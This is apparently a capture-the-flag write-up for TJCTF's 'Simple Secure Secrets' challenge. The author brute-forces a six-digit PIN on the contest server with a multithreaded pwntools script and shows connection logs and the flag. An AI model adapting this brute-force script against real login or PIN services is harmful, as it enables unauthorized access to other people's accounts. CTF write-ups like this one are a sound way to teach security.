Simple Secure Secrets

```
Written by evanyeyeye

nc p1.tjctf.org 8000
```

Basically you need to guess the pin code for flag

```
Welcome to the Simply Secure Service! (TRIAL)
The product: an impregnable bunker for your most vulnerable
secrets.
---------------------------------------------
Commands:
    l - List all secret names
    s - Store a secret
    r - Reveal a secret
    u - Upgrade to PRO
    h - Display this help menu
    x - Exit service
> r
```

```
Secret name: tjctf
Secret pin: 000001
Invalid pin. The appropriate authorities have been notified.
```

My first thought was there is a bug or what, but I couldn't find it

Assume the pin code is constant

I decided to brute force the pin number but its **1 million possible code**

Its possible possible using multiple thread and pwntools

my script in python:

```
from pwn import *
from threading import Thread
import re
import sys

def guessing(fromNum,toNum):
        s = remote('p1.tjctf.org',8000)
        s.recvuntil("> ")
        for i in range(fromNum,toNum):
                s.sendline('r')
                s.sendline('tjctf')
                s.sendline("%06d" % i)
                text = s.recv()
                if(re.findall("tjctf{.*}",text)):
                        print re.findall("tjctf{.*}",text)[0]
                        print "Pin : %06d" % i
if len(sys.argv) == 3:
        i = int(sys.argv[1])
        while (i != int(sys.argv[2])):
                thread1 = Thread(target=guessing,args=(i,i+1000))
                thread1.start()
                i += 1000
else:
        print "Need 2 arguments!\npython solve.py from to"
```

Running using two arguments:

```
python solve.py 0 100000 # Brute force pin from 000000 to 100000
```

Is this only 0 to 100,000, so I open 10 different teminal with different range:

```
python solve.py 100000 200000 # Second Terminal

python solve.py 100000 200000 # Third Terminal

python solve.py 100000 200000 # Forth Terminal
...
...
python solve.py 900000 1000000 # Tenth Terminal
```

Just be patient

After around 15 minutes I get the Flag!!

```
[+] Opening connection to p1.tjctf.org on port 8000: Done
[+] Opening connection to p1.tjctf.org on port 8000: Done
[+] Opening connection to p1.tjctf.org on port 8000: Done
[+] Opening connection to p1.tjctf.org on port 8000: Done
[+] Opening connection to p1.tjctf.org on port 8000: Done
[+] Opening connection to p1.tjctf.org on port 8000: Done
[+] Opening connection to p1.tjctf.org on port 8000: Done
[+] Opening connection to p1.tjctf.org on port 8000: Done
[+] Opening connection to p1.tjctf.org on port 8000: Done
[+] Opening connection to p1.tjctf.org on port 8000: Done
[+] Opening connection to p1.tjctf.org on port 8000: Done
[+] Opening connection to p1.tjctf.org on port 8000: Done
[+] Opening connection to p1.tjctf.org on port 8000: Done
...
...
...
tjctf{1_533_y0u_f0rc3d_y0ur_w4y_1n}
Pin : 720561
```

But I don't know why I can't use this pin the reveal the flag:

```
Welcome to the Simply Secure Service! (TRIAL)
The product: an impregnable bunker for your most vulnerable
secrets.
---------------------------------------------
Commands:
    l - List all secret names
    s - Store a secret
    r - Reveal a secret
    u - Upgrade to PRO
    h - Display this help menu
    x - Exit service
> r
Secret name: tjctf
Secret pin: 72-561
Secret pin must be in ###### format.
> r
Secret name: tjctf
Secret pin: 720561
Invalid pin. The appropriate authorities have been notified.
>
```

That is weird but I get the flag so I don't care anymore

Flag

> tjctf{1_533_y0u_f0rc3d_y0ur_w4y_1n}